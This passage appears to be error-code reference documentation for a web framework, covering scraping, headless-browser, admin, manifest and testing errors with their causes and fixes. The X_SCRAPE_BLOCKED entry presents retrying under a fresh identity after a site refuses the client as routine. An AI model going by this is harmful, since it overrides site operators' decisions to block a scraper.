nothing to replace it with add auth: { login } to the scrape() definition so an expired session can be replaced, or drop auth.validate and let the body handle the logged-out page X_SCRAPE_PROMPT_UNANSWERED a login step asked for a code and nothing answered terminal, and in NEVER_RETRIED — an out-of-band code is not something a second attempt invents. Three raises: the scrape() declares no prompt; eventPrompt({ timeout }) saw no answer published within the timeout; or the event published for the prompt carries no sealed answer — a hand-written publishEvent() no prompt: add prompt: async (request) => … to the scrape() definition. Timed out or unsealed: answerPrompt({ runId, index, answer }) from a process on the same stored event bus, with the run id and index the cause's event name ends with X_SCRAPE_CAPTURE_INVALID the capture names a framing no picture can be taken with terminal — the rectangle is the caller's own literal, so attempt 2 passes the identical one, and it is refused before any driver runs, so there is no half-done capture to resume. Three shapes: fullPage beside a clip (CDP silently ignores one, so the caller gets a picture they did not ask for), a rectangle with no area or a non-finite number, and a clip on page.pdf(), which has no crop and would answer a whole-page PDF to a caller who asked for one component. A rectangle merely BELOW THE FOLD is accepted — this package sets and reads no viewport, and refusing it would reject the component-screenshot case it exists for drop fullPage or drop clip; measure the element with page.query('<selector>') and pass a rectangle with a positive width and height; a PDF has no crop — use page.screenshot({ clip }) X_SCRAPE_BLOCKED the site refused this client — the identity is spent retryable, and it burns the session first. Retrying a block on the same persisted identity re-trips it every time: the flagged cookies are the thing being refused, so the retry has to arrive as somebody else or it is arithmetic, not a retry the session is burned and the next attempt starts a new identity — lower rate: on the scrape() definition if this repeats X_SCRAPE_KEY_INVALID the key chord names no key a browser can press terminal — the chord is the caller's own literal, so attempt 2 passes the identical string. Refused by parseKeyChord BEFORE any key goes down, on every driver: press() holds each modifier, presses the key and releases in reverse, and a chord refused halfway through would leave Control held on the page for every later verb. Four shapes: an unknown modifier (Ctrl, Cmd, meta — the browser holds only Meta, Control, Alt, Shift), an empty key or a trailing +, an empty chord, and a modifier written twice spell the chord as zero or more of Meta, Control, Alt, Shift joined by + and then the key — 'Meta+K', 'Escape', 'Shift+Tab' — using the browser's own key names; type a literal + with page.type() X_SCRAPE_EGRESS_UNSUPPORTED this driver cannot give the session the exit the run asked for terminal. egress: named an exit for this run and the driver cannot dial it: remoteBrowser({ cdpUrl }) with a fixed URL attaches to a browser already bound to another exit, or the launcher has no page.authenticate() for an exit that carries credentials. The cause names scheme and host only, never the credentials pass remoteBrowser({ cdpUrl: resolver }) so each run rents a browser on its own exit, or drop egress: from the scrape() definition and set the exit once on the driver — remoteBrowser({ proxy }) X_SCRAPE_EGRESS_IN_PAYLOAD the run exit carries a credential that is also in the job payload scrape({ egress }) answered a proxy URL whose password is readable out of the run's own input, so it rode the queue payload and is stored in x_jobs in the clear. Refused before the browser opens; terminal, because every remaining attempt reads the same row look the exit up by id inside the worker — egress: async ({ connectionId }) => (await repo.connectionById(connectionId))?.exit — and drop the exit field from the scrape input X_SCRAPE_LAUNCH_ARGS_INVALID the launch options carry arguments this driver cannot hand the browser terminal. Refused before anything is launched: localBrowser({ options: { args } }) is not an array of strings, or it sets a proxy switch (--proxy-server, --proxy-bypass-list, --proxy-pac-url, --proxy-auto-detect, --no-proxy-server, either prefix, any case). The exit is the driver's proxy or the run's egress, appended after the caller's args; a second one in the args would let the browser leave by a route the session does not report. The fix lists every localBrowser( call and proxy switch; the cause names the edit — delete the switch and pass the exit as localBrowser({ proxy }) or scrape({ egress }), or pass args as a list of strings grep -rnE --include='*.ts' -e 'localBrowser\(' -e '--(no-)?proxy-' . X_SCRAPE_PDF_OPTIONS_INVALID the PDF request names no single page size a print engine can lay out page.pdf() was given format beside widthMm/heightMm, one of widthMm/heightMm alone, a size beside preferCssPageSize, or a measure that is not a finite number page.pdf({ format: 'a4' }) — exactly one size: a format, or widthMm with heightMm, or preferCssPageSize alone X_SCRAPE_PDF_ORIGIN_MISSING pdf() has no origin to render the route on APP_URL is unset in this process and the pdf() declaration names no origin, so there is no server for the browser to load the route from set APP_URL=https://your.app in the environment, or pdf({ origin: () => 'http://127.0.0.1:3000' }) in the declaring file X_SCRAPE_PDF_ROUTE_INVALID a pdf() route is not a path on this app route() answered something other than a path beginning with one slash — a full URL, a protocol-relative //host path or a backslash — and the printing browser only ever loads the app own origin return a path from route(): pdf({ route: ({ input }) => '/invoices/' + input.id + '/print' }) X_SCRAPE_PDF_ROUTE_FAILED the route pdf() printed answered an error status the page the browser loaded answered 4xx or 5xx — a missing record, a route the printing browser is not authorised for (no headers: given), or a server error — and printing it would store an error page as the document curl -i "$APP_URL<the path the cause names>" — then pass pdf({ headers }) for a private route, or fix the page X_CDP_BROWSER_MISSING no Chrome or Chromium is installed for the e2e driver to launch the driver launches a real browser over raw CDP and carries no dependency to do it, so what it needs is a binary on disk — CHROME_PATH first, then the four /usr/bin names GitHub-hosted ubuntu-latest ships. Reached only by a caller that has already decided a browser is required: openE2eBrowserIfAvailable() answers undefined instead, so a machine with no browser SKIPS rather than failing export CHROME_PATH=/usr/bin/google-chrome — or leave it unset and let the browser-backed suite skip X_CDP_LAUNCH_FAILED the browser started and never announced a DevTools endpoint Chrome is driven over --remote-debugging-pipe, so its first answer IS the announcement. It gets the launch deadline (60 s, or timeoutMs when that is larger) and, unanswered, is reaped and started ONCE more on a fresh profile. The cause carries each launch: whether it exited (with its code) or was still silent at the deadline, and its last stderr lines — D-Bus lines alone are start-up noise, so a deadline beside them is a machine too slow, an exit code a crash, a rejected flag or a sandbox refusal /usr/bin/google-chrome --headless=new --no-sandbox --disable-dev-shm-usage --disable-gpu --remote-debugging-port=0 about:blank — the binary the cause names; a healthy one prints DevTools listening on ws://… X_CDP_CALL_FAILED the browser refused a DevTools call the call reached the browser and came back an error frame, or the connection died under it — every in-flight call is settled on close, so a dead browser reports this rather than one deadline per call print what the page had: await page.evaluate(() => document.body.innerHTML) — a call that refuses the same way means the browser itself is gone, so read the launch above it X_CDP_TIMEOUT a DevTools call did not answer inside its deadline its own code rather than X_TIMEOUT, because the actionable half is WHICH call: a hung Page.navigate is an app that never finishes responding, a hung Runtime.evaluate is an expression that never settles. A call the connection timed carries what the wire did meanwhile — meta.reading is target-gone (its session detached, or its target was destroyed or crashed), lost-in-transport (meta.framesDropped frames arrived unparseable after the call) or no-answer (the target was there and silent; meta.framesArrived, meta.lastFrames, meta.navigations, meta.transportOpen say what else happened) no-answer: raise timeoutMs on installE2eDriver({ timeoutMs }), or find the request the page is still waiting on. The other two: x test e2e --json again — the cause names what went X_SCRAPE_PDF_BUSY every pdf() render slot stayed busy past the queue deadline more renders arrived at once than the renderer launches browsers for (maxConcurrent, default 2), and this one waited out queueTimeoutMs — each Chrome holds 150-300 MB, so the bound keeps a burst from exhausting the web role memory pdf({ renderer: chromePdfRenderer({ maxConcurrent: 4 }) }) — only on a host with the memory for it; a caller retries after the Retry-After it was answered X_NOT_IMPLEMENTED and X_ENV_MISSING are @ultimat3/core's and are documented above: the first is the honest stub the agent recovery seam throws, the second is what a declared secret with no value in the environment is — a missing environment variable, not a scraping concept needing its own code. Admin and manifest Code Means Typical cause Fix X_ADMIN_ENTITY_UNKNOWN the admin references an entity that does not exist a renamed entity x g entity <name>, then x manifest X_ADMIN_POLICY_MISSING an admin-exposed subject has no policy a screen added without authz add policy: can('<subject>') to the definition X_ADMIN_FIELD_UNSUPPORTED a column type the admin cannot render an exotic Postgres type supply a custom field renderer, or hide the column X_ADMIN_ACTION_DUPLICATE two registered admin actions carry one name the same action name declared on two entities, or on an entity and the global toolbar. Refused at defineAdmin, not at the first call: the name is the MCP tool name, the default label key and the key callAdminTool resolves a handler by, so a collision is a call that succeeds against the wrong action and reports nothing rename one in defineAdmin's actions — name: '<entity>.<action>' — so the bare name belongs to one of them; the cause names both holders X_ADMIN_PAGE_UNGUARDED a custom admin page declared no permissions a pages: entry with an empty permissions array. Refused at declaration rather than at a request, because the author never writes the defineRoute call — adminRouteConfig emits it with the policy composed in, so a page cannot reach the router unguarded add permissions: ['<subject>:read'] to the pages entry for '<path>'; the frame's admin:read is prepended for you X_ADMIN_PAGE_PATH_INVALID a custom admin page has an unusable or already-taken path a path that is not rooted, or one that shadows a generated resource route — the generated screen would become unreachable give the page a rooted path that no resource already claims, e.g. '/ops'; the cause names the collision X_ADMIN_DENIED the actor may not use this admin surface missing admin:* permission grant the permission through the normal policy layer X_ADMIN_TOOL_FORBIDDEN an admin MCP tool was called without permission agent acting beyond its user nothing to fix — the policy is correct X_ADMIN_INVALID an admin tool's arguments failed the resource schema the agent built a row from a stale tool schema x manifest, then re-read the tool's JSON Schema from tools/list X_DEV_DASHBOARD_IN_PROD /_x was mounted outside dev the dev dashboard shipped in the image delete the /_x mount from the production entrypoint X_MANIFEST_DRIFT a committed manifest differs from the code a primitive changed without regenerating, or the file was hand-edited so its buildId no longer hashes its own contents x manifest — bun run manifest for this repo's own framework.manifest.json X_MANIFEST_STALE openapi.json is stale the committed spec does not match the actions the code registers x manifest, then commit X_MANIFEST_MISSING the app ships no x.manifest.json at all nothing ever ran x manifest: after x new, bun run setup and every generator, the file did not exist while the gate's manifest step reported green — because the drift check has nothing to compare when the file is absent. Its own code because the repair differs from both neighbours: X_MANIFEST_DRIFT means the committed file disagrees with the code, X_MANIFEST_STALE means openapi.json does, this one means there is nothing there. Raised only at an app root — this repo emits framework.manifest.json and has no x.manifest.json to be missing x manifest X_MANIFEST_BREAKING a published contract was removed or narrowed a breaking change with no version bump bump the major version, or restore the contract X_AGENTS_MD_MISSING no AGENTS.md the human-authored file was deleted write it by hand — short: stack, commands, conventions X_AGENTS_MD_TOO_LARGE AGENTS.md grew past its cap generated facts pasted into it move facts into x.manifest.json; keep conventions only X_ADMIN_REPO_UNBOUND an admin resource has no database handle to read rows through defineAdmin() was given an entity and neither a db handle that carries it nor a per-resource repo. Refused at declaration: a resource with no repo is a list, a detail and a form that all fail on their first request pass the app's handle once: defineAdmin({ entities, db }) — or resources: { : { repo } } for one resource X_ADMIN_FILTER_INVALID an admin list was asked for a filter, sort or scope its resource does not derive the list URL carried a parameter other than cursor, sort, scope or f.*; a sort on a field that is not sortable or a direction other than asc/desc; a scope the resource does not declare; or an f.<field>.<op> the field's shape does not offer — a sealed column offers none. Refused (400), never ignored: an ignored filter is a list that answers rows the reader thinks were excluded x manifest --json — admin[].resources lists the filters, sorts and scopes of the entity the cause names X_ADMIN_ACTION_NOT_APPLICABLE an admin action was run on a row its when() rule excludes the row changed state after the button rendered, or the call was forged for a row the action does not apply to x manifest --json — admin[].resources[].actions marks the action when: true; re-read the row (the detail page, or the admin.<entity>.read tool) and run the action only while its when() holds X_ADMIN_MOUNT_MISSING an admin batch job ran in a process that never declared its admin a batch above its threshold was queued by the web role, and the worker that claimed the chunk imported no module calling defineAdmin() import the module that calls defineAdmin() from apps/web/api/index.ts, so the worker role loads it; then x verify --only manifest X_MANIFEST_FACT_INVALID a manifest fact is a number JSON cannot write back a declaration handed the manifest NaN, Infinity or -0 (a route budget, a rate limit, a retry count); JSON writes it as null or 0, so the committed file could never match its own buildId and every build read as drift set the declaration behind meta.path to 0 when meta.value is -0, otherwise to a finite number, then run x manifest X_ADMIN_VIEW_WRITE an admin resource over a view entity offers a write adminResource or defineAdmin's resources.<entity>.operations names create, update or delete for an entity declared with view: { sql }, whose rows Postgres derives and no write can land on x entities show <entity> --json # then drop operations from its admin resource (a view lists read-only), or name only list, detail, search X_ADMIN_READ_ONLY_WRITE an admin resource over a readOnly entity offers a write the resource's operations name create, edit or delete on an entity declared entity({ readOnly: '' }), whose every write is refused drop the writes from its admin resource's operations, or name only list, detail, search Testing Code Means Typical cause Fix X_TEST_DB_UNAVAILABLE no Postgres for the test template nothing listening run x dev (embedded Postgres), or set TEST_DATABASE_URL X_TEST_FIXTURE_UNAVAILABLE a declared fixture has no driver in this process destructuring page, budget, signIn or deploy with no browser installed. subscribe left this set in 4.2.0 — the framework builds it defineFixtures({ <name>: () => yourDriver() }) in the test preload — cause names what the fixture needs X_TEST_LIVE_NODE_UPGRADE_REFUSED the in-process sync node refused the connection the subscribe fixture's node answered the upgrade with a response instead of taking it — its accept budget, its connection ceiling, or a node that was never started. A different failure from having nothing to serve, which is the row below await node.start() before connect(), and keep the request path at /_x/sync X_TEST_LIVE_NODE_EMPTY the in-process sync node has no live query to serve the subscribe fixture built a node and found no query({ live: true }) registered — almost always the app's api module was never imported, so defineApi() never named a query. A registry with nothing in it answers every subscribe with "no live query registered", which is a working socket serving no reads import the app's api module in the test preload, then x queries list --json X_TEST_FIXTURE_UNKNOWN a test requested a fixture nobody registered a destructured fixture name no defineFixtures call declares defineFixtures({ <name>: () => buildIt() }) at test setup — cause lists the registered names X_TEST_NETWORK_OFFLINE the test network is offline a request made after network.offline() or network.drop() network.online() before the call — or assert the offline path instead of the request X_TEST_NETWORK_SEALED a test tried to reach the network an unmocked external call mockFetch('<url>', …), or allowHost('<host>') if it must be real X_TEST_NONDETERMINISTIC a test read wall-clock time or unseeded randomness Date.now() in the code under test assertDeterministic('…', () => { installDeterminism(); return body(); }) X_TEST_EVAL_THRESHOLD an evalTest() score fell below its threshold a prompt or output regressed against options.threshold improve the prompt under test, or lower the threshold passed to evalTest() X_TEST_SCHEMA_EXPECTED a matcher expected a Standard Schema and got something else toRejectInput/toAcceptInput called on an action instead of action.input call toRejectInput(action.input) — the schema, not the action or the query X_TEST_LOCATOR_EXPECTED a matcher expected a locator and got something else toBeVisible handed a page, a selector string, or the result of awaiting the locator — anything with no isVisible(). Thrown rather than returned as a failing result, exactly as X_TEST_SCHEMA_EXPECTED is: the assertion is not false, it is unanswerable, and a pass: false would read as "the element was hidden" expect(page.getByRole("heading", { name: "Feed" })).toBeVisible() — the locator itself, unawaited X_E2E_APP_FAILED the app an e2e run spawned did not come up the reset, the seed or the boot of the app the e2e step spawned failed. The cause names the step and carries its output. The app runs on a throwaway ULTIMATE_STATE_DIR (its own embedded database, disk and dev lock), so your own .x/ is untouched x dev --json: boot the same app by hand and read why it would not start X_E2E_EVALUATE_UNSUPPORTED a page.evaluate() closure cannot be sent into the browser the closure is native or bound, declares a parameter, or its source is not an expression — there is nothing to send. Refused statically, before a round trip rewrite as a zero-parameter closure over page globals only X_E2E_EVALUATE_CAPTURED a page.evaluate() closure named a binding the page does not have raised from the page's own ReferenceError, naming the binding, because no static scan can catch it: measured on Bun 1.4.0, const wanted = 3; (() => wanted === 3).toString() is "() => !0" — the transpiler constant-folds a captured primitive away before toString() runs, so a captured value may not exist in the source at all pass the value through the page instead of closing over it X_E2E_EVALUATE_THREW an expression an e2e page ran threw inside the browser the in-page wrapper catches and answers a value, so the name and message survive the crossing instead of arriving as an opaque evaluation failure read the reported name and message; the throw happened in the page, not in the test process X_E2E_LOCATOR_EMPTY an e2e locator matched no element resolved lazily, so this is raised at the question, not at construction — the selector, role or text is quoted back as the call that was written print what the page actually rendered: await page.evaluate(() => document.body.innerHTML), then narrow or correct the locator call the cause quotes back X_E2E_LOCATOR_AMBIGUOUS an e2e locator matched more than one element and was asked to click an assertion handed three matches has an answer; a click does not, so isVisible()/count() answer and click() refuses — the "wrong receiver throws, wrong value returns" rule add .first(), or narrow the locator X_E2E_SERVICE_WORKER_ABSENT no service worker took control of the page within the budget bounded in the page rather than by a loop in the harness, so there is exactly one retry mechanism; an unbounded wait is a test that hangs rather than fails confirm the page registers one: await page.evaluate(() => navigator.serviceWorker?.controller !== undefined) — if it does, pass a longer budget to waitForServiceWorker({ timeoutMs }) X_TEST_JOB_EXPECTED a matcher expected a job declaration and got something else toEmitSteps/recordSteps called on job.run or an unrelated value call toEmitSteps(myJob) with the job export, not toEmitSteps(myJob.run) X_TEST_NETWORK_RACE a request raced unsealNetwork() and lost the patched fetch unsealNetwork() called while a request from the same seal was still in flight do not call unsealNetwork() while a request from the same test is still pending X_TEST_FACTORY_TRAIT_UNKNOWN a factory was asked for a trait it does not declare a typo at the call site, or a trait never added — the same symptom, so cause lists every declared trait to tell them apart declare it: defineFactory(<table>, { traits: { <trait>: { /* columns */ } } }) X_TEST_ISLAND_NOT_BUILT the island build produced no chunk for the file the test named mountIsland was given a file the builder never produced — a path relative to the test instead of to the app root, a typo, or an island outside apps/*/{site,app,shared}/**/*.island.tsx. One symptom, three different edits, so cause lists what the build DID produce; an empty list means the glob found nothing under this root at all copy a path the cause lists into file: — it is app-root-relative — or, when nothing was built, x g island <name> --at apps/web/site and point root at the directory holding apps/ X_TEST_ISLAND_NO_MOUNT an island chunk exports no mount function the island compiled, shipped and was served, and the hydration runtime's m.mount(el, props) finds nothing — a renamed export, or a file exporting only its component. Not a build failure: this one passes every gate and throws in the browser, so cause names the exports it does have paste into the island the cause names, using the component the cause names: import { render } from 'solid-js/web'; export function mount(el: HTMLElement, props: Parameters<typeof Counter>[0]): () => void { el.textContent = ''; return render(() => <Counter {...props} />, el); } — the error builds that line from the chunk's OWN exports, so the component is a name that resolves in the reader's file; a chunk exporting nothing usable gets x g island <name> --at apps/web/site instead X_TEST_ISLAND_SELECTOR_UNSUPPORTED a selector is outside the island DOM's grammar find/all/fire/resize/scroll on a mountIsland handle was given a pseudo-class, a comma, a sibling combinator or an unquoted attribute value. The micro-DOM reads compounds of tag, #id, .class, [attr] and [attr="value"] joined by a space (descendant) or > (child), and nothing else — a selector outside that used to MATCH NOTHING, so the assertion after it failed on the wrong question; cause names the offset the parser stopped at spell the selector inside the grammar — [data-role="scroller"] > ul > li button — or address the element by a data-* attribute the island sets; a :nth-child or :not() question needs a browser test X_TEST_FACTORY_NOT_PERSISTED create() ran with no persister installed nothing was attempted — distinct from an insert that failed usePersister({ insert: (table, row) => repoFor(table).insert(row) }) in the test preload — or build() for an in-memory row that needs no database X_TEST_REGISTRY_LEAK a test file left a process-global registry dirty a declareTags() or registerTier() call with nothing to undo it, in a test body or in the file's own beforeAll. Boot calls are the file's to clean up, and a leaked one silently changes the next file's premise — assertKnownTags short-circuits while nothing is declared, so one leaking file switched tag validation on for the rest of the process and a different package's tests failed. The baseline is sampled at the end of module evaluation, not at the first beforeEach: a preload's beforeEach runs after the file's beforeAll, so sampling there counted a beforeAll leak as part of the baseline and reported nothing. The cause names every offending file and what each left behind, never the file that happened to be running when it surfaced the fix names the file and ends in a command that reproduces it — in "<file>" add: import { isolateDeclaredTags } from '@ultimat3/cache'; const restoreTags = isolateDeclaredTags(); afterAll(restoreTags); — then re-run: bun test "<file>" — with const restoreTiers = isolateTiers(); afterAll(restoreTiers); for tiers, from the same import. Never a reset: resetTiers() drops what a neighbour registered, and this guard reports additions only, so the damage lands as a failure in an innocent file with nothing pointing back. Entity and job registries are not covered — declaring at module scope is the idiom there, so a test that assumes an empty one calls isolateEntityRegistry() from @ultimat3/testing/registry-isolation (its own entry point, so the general harness does not load the entity registry) instead X_SHOT_ISLAND_STATES_EMPTY a *.island.states.ts exports no defineIslandStates result the file was found, imported and read, and it declares no picture — so the run photographs nothing and exits 0, which is the one outcome a reader cannot tell from success in the file the cause names write export const states = defineIslandStates({ island: '<path>', states: [] }) and give it at least one state X_SHOT_ISLAND_UNPHOTOGRAPHABLE the island never reached a state worth photographing one of eight assertions failed before the shutter: no probe, not the harness document, no host element, a mount that rejected or never finished, a page that never went quiet, a zero-sized box, a box with no children or text, or bytes under the floor. Asserting BEFORE capturing is what separates this from a screenshot script — a component whose fetch hangs paints its own loading branch and photographs as a real state the cause names which assertion failed; re-run with a longer settle window: x shot --island <name> --settle 8000 --json X_SHOT_ISLAND_UNSTUBBED_REQUEST the component requested something no state stub answers the picture would show a fixture gap dressed up as a component state. Every address is sealed: an unmatched request is refused by name rather than allowed to hang in the states file add to that state a route: routes: [{ match: 'GET /api/x', respond: { kind: 'json', body: {} } }] X_SHOT_ISLAND_MISSING a declared picture is not on disk when the run ends the expected list is computed from the manifest BEFORE a browser exists, so the run diffs what it owed against what landed and refuses independently of the browser's own exit code each absent picture carries its own refusal above; re-run x shot --island <name> --json and read the first one X_TEST_ISLAND_STATES_EMPTY an island state manifest declares no states defineIslandStates was given states: [] — it parses, it registers and it expands to nothing, so the command that photographs it produces no file and exits 0, which is the one outcome a reader cannot tell from success in the states file the cause names add a state: states: [{ id: 'empty', title: 'no rows yet', props: {} }] X_TEST_ISLAND_STATES_NOT_PURE an island states file imports the component, a renderer or a sibling module a *.island.states.ts is PURE DATA: the command that takes the pictures must know the complete expected list BEFORE a browser exists, and the harness page and the guard test read the same file. Refused: solid-js, a .tsx/.jsx specifier, any relative runtime specifier (./settings.island resolves to ./settings.island.tsx under Bun, and ./helpers reaches the component one hop further on — a check reading one file's text can follow neither), and a computed specifier, which nothing can read and so nothing may call pure. Allowed: a bare specifier, a relative .json, and import type / export type, which verbatimModuleSyntax erases — an inline import { type X } is NOT erased and is refused. Static, because a module importing Solid still evaluates fine under Bun write the import as import type { … } from '<the specifier the cause names>' if only its types are needed, otherwise delete it and inline what it exports as JSON; a computed specifier must be written as a string literal X_TEST_ISLAND_STATES_MISSING_FILE an island state manifest names an island that is not on disk assertIslandFiles(manifests, root) found no file at the declared island. The state list IS the expected screenshot set, so a manifest pointing at a moved file expands to pictures that can never be taken set island: to the path that exists — it is relative to the app root, not to the states file X_TEST_ISLAND_STATES_UNKNOWN no island state manifest answers to that name findIslandStates(all, name) resolved nothing. A typo and an island whose states were never declared are one symptom and two different edits, so cause lists every valid name name one of the islands the cause lists — or, when none is listed, declare one beside the island: export const states = defineIslandStates({ island: 'apps/web/app/settings/settings.island.tsx', states: [] }) X_TEST_ISLAND_STATES_AMBIGUOUS two island state manifests answer to one name resolution is loose on purpose — Settings, settings and settings.island.tsx are one name — so two islands sharing a basename are ambiguous, and they would also share one shot directory rename one island file so the two basenames differ X_TEST_ISLAND_STATE_ID_INVALID an island state id is not slug-shaped the id becomes the screenshot FILENAME stem, so a space, a slash or a capital is either an unguessable path or a path outside the shot directory write the id the cause suggests: id: 'over-quota' — lowercase letters, digits and single dashes X_TEST_ISLAND_STATE_DUPLICATE two island states share one id the second picture overwrites the first at the same path, so the run reports two states and leaves one file, with nothing in the output pointing at the loss rename one of them to the state it really is: id: 'over-quota' X_TEST_ISLAND_STATE_JSON_INVALID an island state carries a value JSON does not island props ride the data-x-props script tag, which is JSON.stringifyd — so a Date, a function, a Map, a cycle, a non-finite number or an undefined is not approximately right in the picture, it is a prop the component never receives. cause names the exact path write the value the cause names as JSON — a string, a number, a boolean, null, an array or a plain object X_TEST_ISLAND_STATE_CLOCK_INVALID an island state manifest pins a clock that is not pinnable timeZone is not an IANA zone Intl knows, or now carries no explicit offset. A harness that freezes the instant and leaves the ZONE ambient renders every date in the host machine's, so one state photographs differently on two machines write timeZone: 'UTC' and now: '2026-01-01T00:00:00.000Z' — an ISO instant ending in Z or an offset X_TEST_ISLAND_STATE_STUB_INVALID an island route stub is not <METHOD> <pathname> match is a <METHOD> <pathname> PREFIX; a bare path or a lowercase verb stubs nothing, the component fetches for real, the sealed network refuses it, and the picture shows an error state nobody declared write { match: 'GET /api/settings', respond: { kind: 'json', body: {} } } X_TEST_POLICY_EXPECTED a matcher expected a policy and got something else toDenyPolicy answered pass:false for a receiver that is not a policy, so .not.toDenyPolicy PASSED on undefined or a typo. The receiver is checked synchronously and refused with this code, under .not too expect(post.policy).toDenyPolicy(ctx) — pass the policy object (@ultimat3/policy's, with run() or evaluate()), never the action or its result X_TEST_OPENAPI_EXPECTED a matcher expected an OpenAPI document and got something else toMatchOpenApi answered pass:false for a receiver that is not an OpenAPI document, so .not.toMatchOpenApi passed on anything at all expect(await app.openapi()).toMatchOpenApi(committed) — the receiver is the generated document: an object with operations: [{ operationId, required? }] X_TEST_NUMBER_EXPECTED a matcher expected a finite number and got something else toBeWithinBudget answered pass:false for a receiver that is not a number (NaN included), so .not.toBeWithinBudget passed on a Promise or undefined expect(bytes).toBeWithinBudget(limit) — pass the measured number itself, e.g. (await Bun.file(path).arrayBuffer()).byteLength, never a Promise or a string X_TEST_ISLAND_STATE_UNKNOWN an island state manifest declares no state with that id mountIslandState(manifest, id) or describeIslandState(manifest, id, …) named a state the manifest does not declare. A renamed state and a typo are one symptom, so cause lists every declared id name one of the ids the cause lists — or declare the state in the <name>.island.states.ts beside the island: { id: 'idle', title: 'the first paint', props: {} } X_TEST_APP_NOT_BOOTED describeApp handle read before boot the app() accessor describeApp passes its body was called while the describe block was being registered, before its beforeAll booted the app test('…', () => { const handle = app(); }) X_TEST_PACE_INVALID ULTIMATE_TEST_PACE is not a number at or above 1 the variable the gate sets on each test run it starts was set by hand to a value that does not parse, or to one below 1 env -u ULTIMATE_TEST_PACE bun test <file> — the gate measures the pace and sets it itself; unset is pace 1 X_SEED_GRAPH_UNSATISFIED no generated row satisfies a table the seed graph could not build a row for a table: a non-nullable reference cycle, or a CHECK no generated value meets defineFactory(<entity>, { defaults }) in the app test setup X_E2E_A11Y_VIOLATION a page fails the accessibility audit a page in this test has a control, image or heading with no accessible name, no title or lang, or focus inside aria-hidden; the cause lists each element name it (visible text, aria-label, <label for>, alt; alt="" for a decorative image), or e2eTest(name, body, { a11y: { allow: [{ role, selector, because }] } }) X_SEED_GRAPH_ENTITY_UNKNOWN a seed plan names an entity its writer was not given seedGraph and entitySeedWriter were handed two different entity sets const graph = seedGraph(entities, …); await insertSeedGraph(graph, entitySeedWriter({ entities, … })) X_TENANT_LEAK another tenant's row reached a call's output or effect the exercise pass called a primitive as tenant B with A's own input (A's ids bound in, where it takes any), before A's own call or after it, and a canary seeded into A's rows, or an id of A's that B was not handed, came back in its output or an effect (a mail, an outbound body, an enqueued job's input) — by an id B chose, or by a statement no tenant predicate scopes. The finding names the path x exercise <name> --json — then read the row behind the named path through the repository scoped to ctx.actor, never by the input id alone, nor by an unscoped statement X_TENANT_WRITE_CROSSED a call by one tenant changed another tenant's row the exercise pass called a primitive as tenant B with A's own input (A's ids bound in, where it takes any), and a row seeded for A hashed differently after B's call, or was gone — by an id B chose, or by a statement no tenant predicate scopes. Never on a tenant: 'none' job handed none of A's ids: its run is the same whoever enqueues it. The finding names the table and the row's id x exercise <name> --json — then write the named row through the repository scoped to ctx.actor, never by the input id alone, nor by an unscoped statement X_JOB_CRASH_DIVERGED a job run killed at a step boundary made an effect a different number of times than a clean run an effect — a row write, a mail, a call out, an enqueue — sits outside every step.run, so the retry after a crash makes it again step.run('<name>', async () => …) around the printed effect, in the job crashProof named; then: x test job --filter <the test file> X_JOB_SIM_INVARIANT a simulateJobs seed broke the invariant the test stated a race between workers, or a fault — kill, lost answer, lapsed lease, duplicate claim, clock jump — leaves the jobs in a state the app forbids x test job --seed <n> --filter <the test file> — replays that one seed and its faults X_JOB_SIM_NONDETERMINISTIC one simulateJobs seed produced two different traces a job body reads something the simulation does not own — the wall clock, real I/O, state left by an earlier run — so a seed cannot replay x test job --seed <n> --filter <the test file> — the first differing event is printed; read the clock and ids through the frozen seams X_DRILL_FAILED a fault drill property did not hold x drill played a fault against the app and a framework contract the drill states (a coded answer, a bounded request, readiness, recovery, a terminal job, a drained role) was not met; the property and its evidence are printed x drill <name> --json — read the failed property and its evidence, then explain the code that evidence names: x errors explain X_DRILL_SERVICE_MISSING a fault drill needs a service that is not there x drill needs a real Postgres for every drill, and a real Redis or NATS for the drill that faults it: the TEST_* URL is unset, or the app declares no redis cache tier or nats transport to fault docker compose -f docker/docker-compose.test.yml up -d --wait — then: set -a; . docker/test-services.env; set +a X_SUBJECT_ERASE_INCOMPLETE a value of the subject survived subjectErase subjectProof seeded the subject, ran the erase, and found one of its seeded values in a table outside a declared retain: an untreated table, an anonymize that left a column, or a copy of the value in a table with no key to the subject. The cause prints table and column x exercise --json after adding the table to tables: in defineSubject — or columns: { <table>: '<column holding the key>' } for a copy with no foreign key X_QUERY_UNINDEXED a statement no index can serve: the planner can only scan the table a where clause on columns no index leads with, or a read with no condition at all, seen in the exercise pass x db gen "index <table> <columns>" — after indexes: [{ on: ['', ''] }] in entity(''); or scan: '' in that entity(); or expectedSeqScan('', fn) around a read that compares no column X_QUERY_SORT_UNSERVED a limited read sorts its rows: no index serves the order an order by whose columns no index on the filtered table holds, in that order, after the equality columns x db gen "index <table> <columns>" — after indexes: [{ on: ['', '', ''] }] in entity(''); or, for a sort no index holds, a rewrite or expectedSeqScan('<why>', fn) X_QUERY_SCALES_WITH_ROWS a statement shape runs once per row: its count grows with the rows seeded a loop over rows issuing one statement each — an N+1 — that no test named x exercise <primitive> --json — after preload() of the relation the loop reads, or expectedQueryLoop('', fn) around a deliberate loop X_QUERY_PLAN_UNAVAILABLE the database could not answer a generic plan, so no statement was judged a server older than Postgres 12 (no plan_cache_mode), or one refusing PREPARE DATABASE_URL= x verify --only exercise — the embedded database answers every plan X_CASSETTE_MISSING a cassette replayed with no recording on disk cassette() ran in replay mode and /cassettes/.json does not exist: the test was never recorded, or the file was renamed ULTIMATE_CASSETTE=record bun test <file> — with cassette(import.meta.dir, , { record: { hosts: [] } }) X_CASSETTE_UNUSED a cassette entry was never replayed the code under test no longer makes a request the cassette recorded, so the recording describes a run that does not happen ULTIMATE_CASSETTE=record bun test <file> — re-record — or delete the entries meta.unused names from the cassette file X_CASSETTE_SECRET a cassette about to be written holds a secret value the value of a redacted env key or a declared secret appears in the bytes about to be written (raw, percent-encoded, base64 or base64url); nothing was written cassette(import.meta.dir, <name>, { redact: (text) => text.replaceAll(<value of KEY>, '[redacted]') }) — then re-record X_CASSETTE_RECORD_REFUSED a cassette recording was refused ULTIMATE_CASSETTE=record ran under CI, or the run requested a host outside record.hosts cassette(import.meta.dir, <name>, { record: { hosts: [<host>] } }) — add the host, and record locally with CI unset X_TEST_MODULE_MOCK_UNRESTORABLE a mocked module could not be put back at the file boundary a test file called mock.module() on a module whose real source threw or did not resolve when loaded for its snapshot, so the next file on this worker would see the fake x test unit --isolate, or inject the dependency as a parameter instead of mocking the module X_EXERCISE_SETUP_UNSEALED an exercise setup let a host through the seal 